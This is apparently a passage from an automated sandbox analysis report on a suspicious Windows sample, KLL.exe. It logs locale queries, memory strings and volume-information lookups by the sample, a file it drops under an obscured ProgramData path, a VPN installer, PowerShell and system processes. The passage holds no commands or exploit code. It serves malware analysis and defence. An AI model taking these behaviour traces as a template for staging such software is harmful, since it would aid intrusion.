VIEWCALLBACKLPPERSISTSTORAGELPPRINTPAGERANGELPSHELLFLAGSTATELPSHFILEOPSTRUCTLPWPUPOSTMESSAGELPWSANSCLASSINFOLocalLinkAddressLocaleNameToLCIDLockWindowUpdateMIB_IPADDRROW_XPMIB_IPFORWARDROWMapVirtualKeyExWMeroitic_CursiveMonitorFromPointMultiple
Source: KLL.exe, 00000000.00000002.2141572454.00007FF701BE4000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.2035226671.00007FF701A0E000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: QTrayIconMessageWindowClassTaskbarCreatedChangeWindowMessageFilterExuser32ChangeWindowMessageFilterThe platform plugin failed to create a message window.Shell_NotifyIconGetRectShell_TrayWndTrayNotifyWndSysPagerToolbarWindow32@

Source: C:\Users\user\Desktop\KLL.exe

Code function: 0_2_0000000180026C40 cpuid

0_2_0000000180026C40

Source: C:\Users\user\Desktop\KLL.exe	Code function: GetLocaleInfoW,	0_2_00000001800208DC
Source: C:\Users\user\Desktop\KLL.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_000000018002B8EC
Source: C:\Users\user\Desktop\KLL.exe	Code function: EnumSystemLocalesW,	0_2_000000018002B204
Source: C:\Users\user\Desktop\KLL.exe	Code function: EnumSystemLocalesW,	0_2_0000000180031210
Source: C:\Users\user\Desktop\KLL.exe	Code function: EnumSystemLocalesW,	0_2_000000018002B2D4
Source: C:\Users\user\Desktop\KLL.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_000000018002B36C
Source: C:\Users\user\Desktop\KLL.exe	Code function: GetLocaleInfoW,	0_2_0000000180031398
Source: C:\Users\user\Desktop\KLL.exe	Code function: EnumSystemLocalesW,	0_2_0000000180020400
Source: C:\Users\user\Desktop\KLL.exe	Code function: GetLocaleInfoW,	0_2_000000018002B5B8
Source: C:\Users\user\Desktop\KLL.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_000000018002AEB8
Source: C:\Users\user\Desktop\KLL.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_000000018002B710
Source: C:\Users\user\Desktop\KLL.exe	Code function: GetLocaleInfoW,	0_2_000000018002B7C0
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: GetModuleHandleW,GetProcAddress,EncodePointer,DecodePointer,GetLocaleInfoEx,GetLocaleInfoW,	16_2_6CEF19CE
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: _Getdateorder,___lc_locale_name_func,__crtGetLocaleInfoEx,	16_2_6D1BA720

Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\ProgramData\letsvpn-latest.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\letsvpn-latest.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Queries volume information: C:\Program Files (x86)\letsvpn\driver\tap0901.cat VolumeInformation
Source: C:\Windows\System32\drvinst.exe	Queries volume information: C:\Windows\System32\DriverStore\Temp\{8c9994a9-d414-3f4e-8918-cdf319aba055}\tap0901.cat VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\CommunityToolkit.Mvvm.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\netstandard\v4.0_2.0.0.0__cc7b13ffcd2ddd51\netstandard.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.InteropServices.RuntimeInformation.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Memory.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.Unsafe.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Buffers.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNInfraStructure.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Analytics.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Crashes.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.batteries_v2.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.core.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.provider.dynamic_cdecl.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.nativelibrary.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\PresentationFramework-SystemXml\v4.0_4.0.0.0__b77a5c561934e089\PresentationFramework-SystemXml.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationTypes\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationTypes.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationProvider\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationProvider.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Hardcodet.Wpf.TaskbarNotification.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\PusherClient.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\WebSocket4Net.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\SuperSocket.ClientEngine.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Http.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WSMan.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLite-net.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
